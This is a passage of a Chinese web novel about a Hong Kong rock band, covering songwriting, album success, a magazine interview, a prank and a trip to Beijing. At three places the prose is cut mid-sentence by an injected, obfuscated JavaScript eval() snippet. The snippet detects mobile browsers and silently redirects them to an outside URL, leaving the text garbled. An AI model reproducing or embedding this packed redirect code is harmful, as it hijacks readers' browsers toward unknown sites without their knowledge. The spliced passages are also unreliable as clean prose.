“舒舒,不用太担心,家言和阿波真敢怎么着,家熙出手,绝对制服他俩。”世文透露给她一个小秘密:“你知道在朋友圈子里,家熙是有一个外号的。” “是什么?” 世文嘿嘿一笑,一字一句地答:“家和万事兴,家熙口不停。” 这下舒慕更是笑出了声,藏在心底的那股阴霾情绪也随之烟消云散。 两人聊了一会,世文也回屋睡觉去了,客厅只剩舒慕自己。 此时排练室的吉他声还在继续,舒慕缓缓走到门前,小心的转动门把手,脑袋探了进去,就见家熙低着头扫着弦,嘴里哼唱着,声音太小没怎么听清,最搞笑的是这位吉他痴的眼镜快要掉下来,都不知道。 她靠在门框边,没有走上前打扰。 好半天,家熙才后知后觉的抬起头,他向上推了推眼镜,看到门口站着的人,‘啊’了一声:“舒舒,你怎么还没回家睡觉?” “马上就要回去了,临走之前叮嘱你早点休息。” 虽然现在已经不早了,舒慕想。 家熙答应的很痛快:“好好,等会就睡。” 等会的意思就是,现在还不睡。 对他是真没办法,舒慕摇了摇头,只好转身准备回家休息,但很快,又折返回来,出现在门口。 “刚才你哼唱的是什么歌?听着很柔情,但又透露着遗憾的感觉。”原谅她的好奇心作祟,谁让家熙平时不怎么创作这种类型的曲调。 那双明亮自信地眼睛眨了眨,有一股特别的情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14576928|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪闪过,很久才回答说:“是这次专辑中的新歌,纪念我和初恋的故事。” 舒慕一顿,为了不该问的,脸上的尴尬表情很明显,结结巴巴:“抱歉。” 反观家熙倒是平和多了:“干嘛抱歉?听说她现在已经结婚了,她的先生对她很好。” 气氛凝滞片刻,舒慕到底没忍住涌动的好奇心:“你们既然彼此喜欢,那为什么要分开呢?” 家熙默了默,平日里总是嘻嘻哈哈勾着嘴角和煦的人,此时那抹笑渐渐消失,眼神中有眷恋、有遗憾、有悲伤、有自责、有痛苦。 习惯了他乐观、外向的大大咧咧性格,乍一看到他难得露出的脆弱一面,弄得舒慕都有些恍惚了,双子座的人都有这种特点? 难道此刻的家熙,才是真正的他? “她想要一个安稳的家庭,但我那时候已经沉迷于音乐中了,我给不了她想要的。”脸色怅然的家熙轻声道:“谈恋爱是很美好,可你要对人家负责的,当发现自己没办法做出一些承诺时,虽然会感到痛苦,但还是应该及时止损才对,总不能一直耽误人家吧。” 忽然想起他曾经说的那句‘没有音乐我会死的,’舒慕顿时理解了他的做法:“你需要的是真正懂你音乐世界的人,若是双方追求的东西不同,就算勉强在一起也没有意义。” 家熙‘哇’一声:“舒舒读的书就是比我多,看说起话来,多有哲理。” 又能开始搞怪说笑,说明情绪没啥问题了,舒慕知道,他不是一个只会停留在过去的人,能豁达些,这样挺好的。 家熙低头拨了拨琴弦,抬头看她:“要不要听我弹完整版?” 舒慕心中一动,对上他那双漆黑透亮的眼睛,脱口就说:“好啊。” 半夜听悲伤情歌的后果,就是总会留下点后遗症,此刻回到家的舒慕即使躺在软绵的床上都辗转反侧,连她自己都不清楚是为人还是歌了。 第二天,顶着黑眼圈的舒慕来到经纪人办公室,协助他完成宣传和策划专辑封面的事情,好不容易结束,又火急火燎去到录音室,舒慕抚着胸口,缓了缓气,这时里面正传来阿波在唱《大地》,柔和清脆的声音,的确让人眼前一亮。 另一边的家熙抱着吉他站在后面,专注地拨动琴弦,看他陶醉其中的模样,忽然觉得,比起唱歌,他更钟爱手中的乐器。 录制多遍后。 “OK,今天我们就到这了。”制作人心满意足地摘下耳机,对着话筒说。 阿波长长舒了一口气,回头看了眼家熙,两人互相的对视,一切仿佛尽在不言中。 几人走了出来,最前面的家熙一眼便看到了舒慕,走上前兴冲冲地问:“舒舒,你觉得阿波唱的怎么样?” 舒慕微微一笑:“begin一出,必是精品。” 所有歌曲录制完成后,在歌曲排位上,他们特意将硬摇滚风格的《冲击一切》和金属摇滚风格的《神秘警察》放在最前面。 第一首主打歌《冲击一切》是由家言作曲,阿波填词。细细聆听,开场吉他气势如虹,间奏又避开了摇滚失真感,采用了听上去清新脱俗的音色,蕴含了begin迎来一个崭新的开始,并且他们已做好踏上新征程的准备。 几天后,临近拍摄封面照时,当看到摆在自己眼前的只是奶白色麻布休闲服,经纪人感到不满,之前他可是建议搭配黑色西装,才能拥有最佳效果。 对于经纪人暗含的抱怨,陈小宝心里也清楚,但也只能无奈地告诉他:“兄弟,时间紧迫,资金有限,没办法了。” 在讨论封面造型时,经纪人提到:“我建议他们,两人一组为一面,一起打开才能看到完整的四个人。” 陈小宝眉一挑:“双封面设计?” “对,背景就用全黑色,灯光从右边打过来,给人一种贴合主题,这样才有神秘的感觉。”经纪人说。 考虑到人们对乐队四子的认识程度并不是很高,经纪人颇具创意的构思令陈小宝觉得可以一试。 9月,begin乐队正式推出第三张专辑《神秘警察》。 11.第11章 值得庆贺的是,不到一个月,这张专辑便售出了两万五千多张销量,一跃成为金唱片乐队。 唱片店将《秘密警察》摆放在最显眼的位置,部分商家没来得及备货,只能手忙脚乱的赶紧拿起电话联系厂家送货。 随着专辑的火热程度,begin乐队也得到了电台媒体的注意,突然间,报纸、杂志、电台广播等等平台,都在谈论《秘密警察》,谈论这支摇滚乐队。 他们在享受赞美的同时,讽刺的声音也从未缺席。一些铁粉斥责他们向市场低头,甚至给他们四个按上了‘摇滚叛徒’的名号。 欣慰的是,支持begin的专业乐评人给予了极高的评价:“begin已经由一支独立生存的地下乐队,转变成一支在发行和商业制度化的乐队。但这并不代表他们变了质,相反,如果在唱片销售制度下做得更好,优秀的音乐就会让更多的人听到。所以那些死硬派追随者,一厢情愿希望他们保持地下状态,一则无理,二则无见地。当然,由地下乐队转变为流行乐队的过程中,乐队本身比歌迷更需要适应,其实,部分歌迷不满的是begin的形象。” 面对纷至沓来的批评,家熙表现得很从容,他自信满满地告诉记者:“这些声音不会使我分心,我只会不断唱下去,直到你喜欢为止。” 不管是赞美,亦或是负面信息,毋庸置疑的一点是,begin真的红了。 坐在办公室的陈小宝兴致勃勃地翻看着报纸的报道,主页面尽是关于begin乐队的内容,他心情大好地又拿给经纪人Leslie程分享这份喜悦。 正巧,经纪人同时告诉他,考虑到现在是专辑宣传推广的关键时期,所以为乐队接了吉他杂志社的独家采访,在这里工作的记者都极有水平,交流有深度,不会问一些杂七杂八的东西。 另一边,同样捧着报纸看了无数遍的舒慕兴奋得奔向二楼后座,她的脸上洋溢着开心的笑容。 三步并两步上台阶,她努力调整着呼吸,向沙发上正在聊天打闹的四个人挥舞着手中报纸:“你们快看,报纸头版头条。” 家言和阿波一个闪身来到舒慕身边,一左一右如同哼哈二将。 舒慕主动展开给他们看,两人齐声读出报纸上大大的标题:“begin乐队迎来曙光,新专辑竟卖断货。” “《大地》、《喜欢你》、《冲开一切》都成为了电台的热门曲目。”舒慕念着标题下方的小字:“其中《大地》在叱咤音乐排行榜中位列榜首。” “太棒了。”世文和家熙开心的击掌欢呼。 众人开始讨论该如何庆祝时,Band房的电话突然响了起来,舒慕走过去看了一眼来电显示,遂即拿起话筒:“Leslie。” 听声音,Leslie程的心情好极了,语气听起来都很轻松:“舒慕,他们四个都在吗?” “对。” “正好,你让他们好好准备一下,明天吉他杂志社派记者到二楼后座做独家采访。”他不放心的叮嘱道:“形象上,你也帮他们好好捯饬捯饬。” “好的,你放心吧。” 放下电话,舒慕内心一阵感慨:上个月乐队还面临着解散的危机,今时今日,不仅专辑大火,甚至港城最有名气的杂志社都要来做独家。 天下事,真的是世事难料唉。 她舒了一口气,转过身来笑着对大家转达又一个好消息:“各位,Leslie接下了吉他杂志社的独家采访,明天下午3点会来二楼后座,让你们到时候好好表现。” 吃着棒棒糖的家言嘴巴一顿:“要采访我们?” “来这呀。”世文问着,眼睛已经在四处打量哪里需要好好收拾收拾,务必让杂志社的人来到这里,感觉干净整洁,宾至如归。 家熙从抽屉里拿出蓝色登喜路,点了一根烟,白云吐雾下,近日以来自己紧绷的那根弦终于能得以轻松一些。 舒慕看向他手中的烟,一眼认出是他最爱抽的牌子,也是只有领到薪水时才会对自己的奖励,这也说明此刻他的好心情。 “苦尽甘来,好征兆。”她旋即笑起来,喃喃自语。 第二天下午,吉他杂志社的记者怀着好奇和兴奋的心情,按照经纪公司给出的地址来到了二楼后座,这是一间看上去很小却又感到温馨的巢穴。 陈琪坐在单人沙发上,这是她第一次见到begin乐队四子,趁着他们的助理在帮忙补妆的空档,她静静地打量着眼前年轻帅气的四人。 怎么说呢? 帅的各有千秋吧。 在采访之前,他们做了比较简单的自我介绍,除了名字外,大概对乐队成员的特点有所记忆。 作为主唱的许家熙坐在最边上,始终挂着浅浅的笑容,整个人自信阳光、稳重有礼节,和她想象中的摇滚主唱应该有的范儿丝毫不沾边。 向右依次是吉他手阿波、眼睛小小的,脸蛋白白的,但通身的感觉给她一种由内而外的不羁狂傲。但特别有意思的是,当他与主唱偶尔眼神对视时,那股不羁之风瞬间消失不见了,反而化为宁静平和气息。 贝斯手家言一看就是最小的,萌萌呆呆的脸庞,说起话来奶声奶气,实在太可爱,忍不住想上手掐掐他肉肉的小脸。 当看到鼓手世文的时候,她不禁吓了一跳,不为别的,只是因为太英俊了,尤其是在盯着看许久时,对方从脸红到脖子的青涩模样。 总的来说,这是一支既有才华又有颜值的乐队,陈琪在心里初步这样认为。 家言歪了歪头,压低声音对身旁的阿波说:“这位记者姐姐好像不好意思了哦。” 阿波一副笨死你算了的眼神,见怪不怪的说:“还不是看阿文害羞了。” 陈琪像是现场被抓包似的,脸上有些发红。 坐在边上的家熙见此主动解围,他指了指阿文,笑得开怀自然,主动对她介绍道:“我们阿文不止鼓打的好,还是乐队里公认的门面担当,有很多女粉丝的嘞,比我们的都多。”说完,转过头冲当事人挑了挑眉。 “别听家熙瞎说。”世文坐在沙发一角,温温和和的看着他们说笑,听到打趣自己的时候,连还击的语气都那么的温和。 舒慕适时的走过来,端上茶水放在陈琪面前,她客气的说了声谢谢,遂即清清嗓子,带着亲和的微笑,开始了本次的采访。 “hello,begin,首先要恭喜你们的新专辑《秘密警察》销量很火爆。” 家熙:“多谢多谢。” 陈琪:“我看过之前关于你们的表演活动,和现在的形象有很大差别,记得原来你们都是长头发。” 家熙笑言:“看起来比较愤怒,现在就已经不同了,慢慢成熟一些。” 于是陈琪抛出了首个问题:“那你们觉得,一支以唱rock歌为主的Band是形象比较重要还是音乐路线更为重要呢?” “两者当然要兼顾了。”家熙说:“如果你的形象和音乐贴切的话,那接触这种音乐的朋友或许会容易接受,或者说会容易感觉到你是什么类型的音乐。” 陈琪认同地点了点头:“对啊。” 家熙温和地补了一句:“但最主要的还是音乐。” 闻言,陈琪会心一笑,继续接下来的话题:“那么说到音乐,过去你们的音乐路线当然是自己决定,唱什么歌都可以,但签了唱片公司的话,很可能决策权会在对方手里,这样会不会有点矛盾?” 家熙不经意的瞅了一眼身旁人,家言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601703|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接过了话棒:“公司当然会有意见给我们了,我们也会有自己的意见,那大家想办法去融合意见,尽量做好咯。” 不发言的时候家熙始终在认真专注地听着主持人的讲话,明亮的眼睛转了转,似乎在想怎样更完美的回答这个问题。 陈琪试探性地追问道:“有没有试过争执或者感到很不开心的时候?” 四个人哈哈笑的直摇头,家熙乐呵呵地坦言道:“不开心没有,争执当然有了,我们很喜欢和别人争论的,死的也要把它辩论成活的。” 家言:“争论多些可以知道的多一些。” 陈琪替他们总结:“就是你们反而喜欢争论多点,可能队友中各有各的意见,这样也挺好。” 家言语气亲和地解释他们的想法:“如果我们什么都听人家的,不用自己的脑子去想想事情,这样也不行的嘛。” 采访之前,陈琪提前做了些功课,发现乐队将个别作品再次灌录翻唱,对此,她不是很能明白:“说回你们的歌,为什么会把【旧日足迹】、【永久等待】进行二次录音,而不是作新歌呢?” “呃,为什么?”家熙停顿了一秒,探出脑袋指了指世文:“这个问题让……” 还未说完,世文已默契的接收信号,老老实实地解释:“我们也有作新歌。” 陈琪忍着笑意,重重点点头:“是的,但是为什么要找这些旧歌出来呢?” 世文:“旧歌好听嘛。” 回答的太实诚了,这次陈琪真的笑出了声,但仍不甘心的问道:“没有一些特别的原因吗?” 这时候家熙开口道:“因为我们以前自资出过一盘录音带,但那时候水准不太好,因为资金人力物力都不够,现在觉得那些歌好,在有钱有设备条件之下去重新演绎。” 陈琪接过话来:“做到好看点。” “对啊对啊。”家熙说:“将自己喜欢的歌,重新放入大碟里面,这也是我们的理想之一。” “一直以来所有集中力都是放在家熙家言还有阿波主音歌手身上,那世文你是打鼓的,永远在舞台很后面,有没有特别郁闷的感觉,觉得风头会被其他人抢走?” 这时,家熙、家言和阿波也在调皮的起哄:“是啊是啊。” 见世文露出腼腆可亲的笑容,却没有开口,陈琪不死心的想听听他内心的想法。 “有一点点这种感觉吧。”世文眉眼带笑:“但是因为我太喜欢打鼓了。” 话一说出口,众人乐不开支。 家言开着玩笑:“真的那么喜欢?” 玩闹怎少得了阿波:“你是只懂打鼓。” 几人插科打诨一阵后,静下来面带笑意的听世文继续认真地说:“我觉得一个好的Band,任何一个成员都要做好自己的本分,不是说你打鼓的就一定要出风头什么的。” 等世文说完,家熙才对主持人气定神闲地更正道:“其实鼓是很出风头的乐器。” 轻松愉快的采访即将到尾声,陈琪最后问道:“乐队接下来有什么计划?” 阿波:“目前还是先录好音吧。” “留长头发是他的计划。” 陈琪被家熙的神来之笔搞的一懵,成功被带跑偏,她诧异地望向阿波,顺嘴问道:“留长头发?” 这下惹来阿波哭笑不得:“别听他的,我的头发是因为没有时间管。” “那你多点没时间吧,我还是很喜欢你的长头发,我想很多乐迷都是这么想的。”陈琪乐呵呵的接话道。 一场采访下来,主持人与乐队四人相谈甚欢,合影留念后,陈琪在自己的稿件尾页写道: “这是一支有才华、有颜值、有思想且团队友爱的摇滚乐队,希望他们越来越好。” 12.第12章 专辑销量还在继续攀升,而乐队丝毫不敢松懈,家熙仍旧每天带着家言、阿波和世文不是在赶通告的路上,就是在各种演出宣传现场。 跟着不停忙碌的舒慕虽说相比之前越来越有成就感,可接二连三下来,架不住每次听他们都是唱那几首最火的歌,听得多了,她简直要听麻木了。 不单单是舒慕自己,家言在和大家排练时显得特没精神,贝斯都不知道弹错几次,被他哥严肃批了一顿后,阿波扫着弦抱怨都快唱吐了,世文也在为每天敲着同样的节奏,感到没趣儿极了。 一点挑战感都没有! 作为乐队里的大哥,家熙虽也内心苦闷无比,但表面还是一再积极告诫劝慰三人,幸好大家能屈能伸,私底下偶尔发发牢骚也就过去了。 毕竟他们可是亲自体验过家熙讲话能讲到把茶水变成水的可怕程度,所以,为什么要惹他呢,还是乖乖听话最明智。 家熙一向对乐队很严格。就像有一次,好久没有出去的家言想去外面玩,跟他哥说完之后。 得到的回答竟然是:“你是贝斯弹的已经出神入化了?” 冷不丁被一下击中心脏的家言,差点一口鲜血吐出来,在他老哥面前,哪敢大放厥词,沉下肩膀弱弱地回他:“没有。” “奥。”家熙说:“那就赶快来练习。” 嘟嘟! 电话被瞬间挂断了。 听着另一边机器般发出的声音,半天才反应过来的家言愤愤的放下话筒,抿紧了嘴巴,努力调和着自己不稳的气息,重重呼出一口气后,从床上扛起贝斯,梗着脖子雄赳赳气昂昂地出了门。 “这孩子又被家熙训了吧?” 屋内探出了两个脑袋,是他们的大哥和二姐,望着家言的背影越走越模糊,大哥摸着下巴,很有经验的判断。 “看来是。”二姐做出客观的分析:“不过比以前到底是成长了。” 大哥问:“怎么说?” 二姐不假思索:“以前是个鼻涕虫,现在懂反击了,虽然也没什么用。” 大哥:“……” 这么说咱们最小的、可爱纯真的弟弟,真的好吗? 结果在二楼后座,看到的画面就是:顶着世文和阿波送上的同情眼神,心里泪流满面的家言抱着贝斯弹奏的样子,配上独属于贝斯低沉的声音,活脱脱一个忧郁少年。 不过,也正是因为这种极度的自律,乐队的每一位成员才会非常有底气的告诉所有人,尤其是他们感到不满的乐坛:“我们是靠真本事吃饭的。” 相处的时间久了,舒慕作为旁观者,发觉他们虽然有怀才不遇的郁闷心情,但其实还挺能在艰难寂寥的境遇中学会自娱自乐。 这种嘻嘻哈哈乐观的心态,让舒慕都忍不住对他们四个竖起大拇指。 记得这天完成一场演出之后,司机送他们回到二楼后座,舒慕和世文提着满兜子的水果到厨房洗干净,方便迎接等会来玩的朋友们。 客厅里的三个人盘腿坐在地上,他们在研究什么呢? 原来是家熙兴致勃勃地在给阿波和家言展示新买的各种项链、戒指,说得越来越起劲儿时,自己甚至充当起了模特,向明显不太买账的阿波和家言秀着效果。 家熙低着头摩拳擦掌的仔细端详地上放着的各种饰品,嘴里正喃喃自语:“到底戴哪一个呢?!” 对此爱好不感兴趣的家言和阿波表现得出奇安静,生怕他们的主唱大人突发奇想,注意力转移到两人身上。 天知道,他们可不想戴这些玩意儿。 没空管对面两个小弟的心理活动,冥思苦想选了好半天的家熙刹那间又想到了什么似的,他抬起头来,笑得灿烂夺目。 这笑容差点闪瞎了阿波和家言的眼睛,根据两人的经验之谈,心里突然有一种发毛的感觉。 事实证明,乐队成员之间的默契程度不止局限在音乐上。 “你们为什么手上没有任何东西呢?我觉得你们戴上一定也很酷飒,送你们几个吧?”虽说是疑问句,不过手上的行动似乎更快了一步。 “什么?”家言和阿波大呼,身体一同向后倾斜了下,全身透露着抗拒。 家熙将两人不情不愿地表情尽收眼底,于是很荣幸的,喜提一对二小课堂。 听着外面逻辑清晰、振振有词、铿锵有力地声音,厨房里的世文神情愉悦的哼着歌,切着水果,甚至很有心思地在果盘上摆了个漂亮的花样。 洗完所有水果,舒慕关上水龙头,擦了擦手,转过身瞧着他难掩的开心,心下了然,不免打趣道:“你不去救救他俩?” “怎么能贸然去打扰呢!”世文那张老实忠厚的脸庞义义正言辞地说:“不好。” 信你个鬼! “舒舒,别管他们俩,你帮我一起摆个花样出来。”世文头也不抬地继续忙着。 看着他慢镜头地动作,舒慕好笑地走到他跟前,深深地体验了一把什么叫慢工出细活。 正在经受精神洗礼的家言和阿波并不知道厨房内世文的邪恶小心思,要是知道的话,估计又要上演一场兄弟大战了吧。 “好了,这几个就送给你们了,千万给我放好,不要弄丢咯。”说的口干舌燥的家熙停了下来,硬气的叮嘱他俩。 两人一脸勉强的表情接受了送给他们的东西,拖着长音回道:“知道了。” 满意于结果的家熙不经意的抬眼,余光发现了窗户旁边挂着几套之前演出时穿过的阿拉伯服装,猛地一看,挺像是飘在空中的影子似的。 他似乎是想到了什么,眼睛陡然一亮,手指着那几套衣服,兴冲冲地对凑在一块嘀嘀咕咕的家言和阿波喊道:“你们看那边……” 咬耳朵的两人茫然地抬起头,顺着手指头的方向,看了过去,停顿几秒后,眼睛转了回来。 三个人挑挑眉,嘴角微微勾起,在眼神的交流中,快速做了某个决定。 再一看,原来在窗户那挂着的白色演出服已经不见了。 最重要的是,客厅里的人,也不见了。 还不晓得外面什么状况的舒慕和世文正在厨房里有一搭没一搭的聊着天瞎忙活儿,好久都没有再传来客厅的声音,让她感到有点奇怪。 “阿文。” “怎么了?” 舒慕迟疑:“你不觉得,太安静了点吗?” “是有点。”世文放下水果刀,竖起耳朵听了听,说:“估计下课了。” 舒慕看了一眼手腕上的表:“这些水果应该够大家吃的了。” 把最后一个苹果块放进盘子中间,两人有说有笑的各自端着一盘水果走了出来。 “他们仨是不是去屋里了。”舒慕放下果盘,念叨着。 同样没有多想的世文:“有可能吧,估计等会自己就出来了。” 的确是自己出来了,就是出来的形式挺新颖的。 就在两个人说着话的同时,募地有人拍了舒慕一下。 明显感觉到肩膀一沉的舒慕怔怔地看向身边,客厅里唯一的男士。 更懵逼的世文也回望着她。 一时陷入寂静。 直到两个人惊恐地看到出现在他们身侧的白绸布,头皮发麻的他们不约而同缓缓转身看去,从下到上移动着视线。 只见眼前三个排排站貌似白色幽灵的物体,高大的身板背对着他们,一边手舞足蹈扭动着腰身,一边发出高亢嘶吼的声音。 “啊……” 舒慕吓得抛开了自己一直保持的淑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14656010|155746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女温婉形象,睁着大眼睛,不顾一切的扯着嗓子大喊。 世文看着倒是表现得挺冷静,当然了,如果不去看他张着嘴,呆呆的表情,加快起伏的胸膛,那就更有可信度了。 一片混乱中,站在中间的那名幽灵渐渐停下了动作,转过身来,突然略带成就感的“哇”了一声。 嗯?这沙哑的声音? “吓到了耶!” 感谢最后这一句,让舒慕和世文稍稍缓过了神,脑袋也清醒了过来,成功被恶作剧的他们怒目圆瞪。 露出本来面目的家熙此刻带着孩子气的笑意,浓密飞扬的眉,平添了几分潇洒不羁,一左一右两大护法也停止了闹腾,面具摘下,不是阿波和家言,还能是何方神圣。 “舒舒姐,你可真不经吓呐。” 这吐槽直接地语气,总算明白家言为什么频繁在挨揍的边缘蹦哒,眼下舒慕上手揍他的心都有了。 “家熙,等会我们应该再加上灯光特效,还有吉他的声音才够逼真。”还没玩过瘾的阿波兴致极高,不忘给出听起来更加刺激的建议。 不是吧!舒慕无语,还要玩? 看出了她想要表达的意思,家熙化身贴心大哥哥笑着安抚:“放心,我们等会准备吓吓细伟、小云他们。” 世文一听,乐了:“那可真期待。”完全不见刚才如临大敌、魂魄飞向了外太空的样子。 舒慕哭笑不得地看着这四个加起来还不到三岁的人,说来奇怪,自己似乎在他们的潜移默化影响下发生了巨大的转变。 如同现在,自己竟然脱口就冒出一句:“加我一个辅助。” 就这样,在我们内心热切躁动的期盼下,大约过了二十分钟,终于听到了走廊说话的声音,听那脚步声也越来越近。 于是,屋内的画面变成了: 家熙:“所有人,准备好了吗?” 众人:“准备好了。” 家熙:“OK。” 待声音已到门口时,在家熙的眼神和手势示意下,站在不同方位的世文和舒慕率先‘啪’地一声关闭屋里所有电源,其后,家熙迅速拿起遥控器不停地开电视、关电视,营造神秘惊悚氛围,家言和阿波摆弄着销魂的舞姿,背着吉他的两人断断续续有节奏的拨动琴弦,配合着电视效果发出叮叮当当的响声。 舒慕捂着嘴忍着脱口而出的笑声,生怕破坏他们的整蛊大计,但这做起来实在很困难,尤其看着他们玩的不亦乐乎的样子,更是难掩由衷的开心。 不过,等大家忘乎所以的时候,突然听到楼梯口传来警车的声音,还有人在交谈。 “好像是晓云的声音。”阿波侧耳一听,压低声音说道。 几人快速反应过来,猜测估计朋友们以为家里进贼,于是报了警。 世文问:“现在怎么办?” 没有多做考虑,家熙带着大家跑到11楼躲了起来,紧张刺激的感觉充斥着每一个人心底。 好在只过了一会儿,楼下恢复了安静,家熙撩起他的幽灵衣服,小心的探出脑袋望了望外面,这时候警车、人流都已散去,舒了口气的他回头冲着兄弟们得意笑笑。 “OK,安全了,我们回去吧。” 为了销毁证据,他们把身上穿的阿拉伯衣服脱下后直接扔到了垃圾桶里,当然,舒慕知道,很久之前他们就想这么做了,这算是一种别样的发泄。 晓云打来电话诉说刚才惊险神奇一幕的时候,是家熙接的电话,众人坐在一边静静地听他天马行空胡诌一通。 所以,当朋友们再次上门来玩的时候,家熙他们四个装的若无其事,似乎在此之前什么也没发生过,和他们没有任何关系。 全程跟下来的舒慕脑子里只闪现出了俩字:服气! 13.第13章 自从吉他杂志社的采访播出之后,这四个有才华、不同帅气性格的乐队组合频频出现在各大屏幕上,无论是经纪人亦或是唱片公司都隐隐感觉已看到成功的曙光在向他们招手。 正因为如此,所有人都不敢停下脚步,反而加大力度的支持,于是,当经纪人告诉乐队成员,为了给新专辑造势,应北京演出商的邀请,一周之后,他们要去那里开演唱会,据说是在一个很大的场地。 而最值得惊喜的和印象深刻的,则是经纪人最后那一句:你们是首位到北京去开演唱会的港城摇滚乐队。 这无疑让成员们瞬间兴奋了起来。 去之前,首要任务便是加强乐队成员的普通话水平,经纪人特意找了几本相关的教学书籍,并派了舒慕作为陪练老师。 于是,舒慕老师每天两小时的普通话课堂被这样安排上了。 以前,舒慕听他们四个讲普通话那个烫嘴程度,站在一旁只是替他们咬牙难受,没想到自己教起来,搞笑之余更让她感到前所未有的困难。 舒慕:“北-京。” 乐队四子:“北-津。” 舒慕:“跟我念,b-ei-北,j-ing-京,北京。” 乐队四子全身使着劲发音:“bei-北,jing-津。” “不对不对。”舒慕用力摇摇头,指着自己的口型,加重语气规范的纠正:“是京,京京京。” 她坐在四个人对面,手拿着小黑板,注视着他们无辜又认真学习地眼神无语凝噎,开始思索起自己的教学方式。 多次尝试后,谢天谢地总算有那意思了,听着他们互相在用普通话交流练习,一连串下来的句子虽然磕磕巴巴,有些词语甚至要重复说几遍加思考,才能听出讲的是什么,但这已经让舒慕既欣喜又欣慰了。 两个小时的课程,不长不短,但对于乐队成员来说,看上去似乎累的不轻,因为当舒慕笑着说出就到这里的时候,每一个人脸上都印着‘如释重负’四个大字。 一周后,经纪人带着乐队、舒慕、调音师王华、打击乐乐手晓云以及他的好友刘卓晖集合在了二楼后座。 “好久不见,辉哥。”见到来人,家熙赶忙把打包好的行礼放到一边,亲切的打起了招呼。 可以称得上是神交已久的家熙和刘卓晖趁远赴北京开演唱会的机会,也是继多年之后再次见面,虽说有时为乐队写歌,但私下其实并没有过多的交流。 这也是越到后来,舒慕最佩服两人的地方,明明面对面交流少之又少,往往家熙一个传真过去,无需过多的言语,收到Demo的刘卓晖却始终能与他的曲催生出巧妙的化学反应。 他懂他的曲,他亦欣赏他的词。 “听经纪人说你们的专辑已经突破两五万,看来今年很有希望能拿叱诧乐坛组合奖了。”刘卓晖和家熙握了握手。 家熙豪迈地笑了笑,说:“借你吉言咯。” 由于演出商没有外汇买直航的机票,一行人只能带着多箱行李和乐器先从广州再飞往北京。 可当下午落地广州的时候,从北京专程来接待的两位姑娘非常抱歉地告诉大家:“实在不好意思,明天的票是飞天津的,然后我们再坐大巴大概2个小时就到北京了。” 其中一位姑娘无奈的补充道:“从广州到北京的机票太紧张了,我们一个月前就已经在订,但最后还是没有买到。” 众人听了,即使心里有些想法,但事已至此,来都来了,也只能随遇而安了。 车子到达饭店后,打前战的舒慕带着所有人的证件,一路小跑到前台办理入住手续,剩下的男士们负责将车上的行李和乐器一一取下来。 等他们带着杂七杂八的东西进入大堂时,舒慕已经拿到了房卡,一行人的房间安排在了16楼。 放下行李后,阿波、家言、世文和舒慕集合在家熙的房间里,经纪人翻开记事本,说起乐队的行程安排:“今晚9点半,我们要到达当地电台接受直播访问,明早7点半起床,坐10点多的飞机到达天津。现在这个空档时间你们可以自由活动,在酒店休息或者出去玩玩。” “对了,我们要注意晚上一定要在凌晨1点之前回来。”舒慕突然插话,补充了一句。 霎时,四个夜猫子满脸疑问惊奇:“为什么?” “因为这家酒店规定,电梯的运营时间就到凌晨1点。”舒慕耸耸肩,友情提示:“也就是说,如果我们回来迟了,到时候只能爬楼了。” 家熙拿着水杯,看向众人说道:“那我们做完采访,就赶紧回来,不要耽误时间,毕竟第二天还要早起。” 众人点点头,大晚上工作完累得要命,谁也不想再去爬楼梯,在吐槽了一会酒店的设施设备之后,就各自回了房间休息。 晚上9点半,乐队到达珠海电台接受访问,整个过程出奇的轻松愉快,据说这家电台是广州最成功的电台,有很多歌手经过他们的宣传,销量好到爆。 好不容易访问结束,再看时间已经快十一点半了,脑子里牢记绝不爬楼梯的几人顾不上吃宵夜的闲情雅致,匆匆返回酒店睡觉去了。 第二天,酒店的叫醒服务竟然是亲自上楼挨个敲门,众人在不情不愿中缓缓清醒过来,一层吃过早餐后,开始空中长征。 两个多小时后,飞机抵达了天津。 这个季节,天气已经透着些许的寒意,不过大家又十分庆幸,好在有阳光照耀,感觉难得清爽。 可惜,糟糕的事儿一件接着一件,舒慕站在一旁听着都要麻木了,再看乐队那几张脸色,也开始变得躁动起来。 整个旅程比喻为西天取经都不为过,舒慕在心里想。 原来,现在面临的问题是,之前告知有两辆车会来接应他们,一辆放行李,一辆载人,可在停车场看到的却只有一辆中型车。 提着大包小包行李的经纪人瞪着眼睛,不可置信的问:“一辆车?” 接待的两位姑娘脸色亦难看,明显也不是很清楚,但又不能说公司安排的怎样怎样,于是只能尴尬的低声细语的重复着抱歉。 经纪人一口气憋在嗓子眼,发也不是,不发也不是,难受的要命,其他人嘀嘀咕咕。 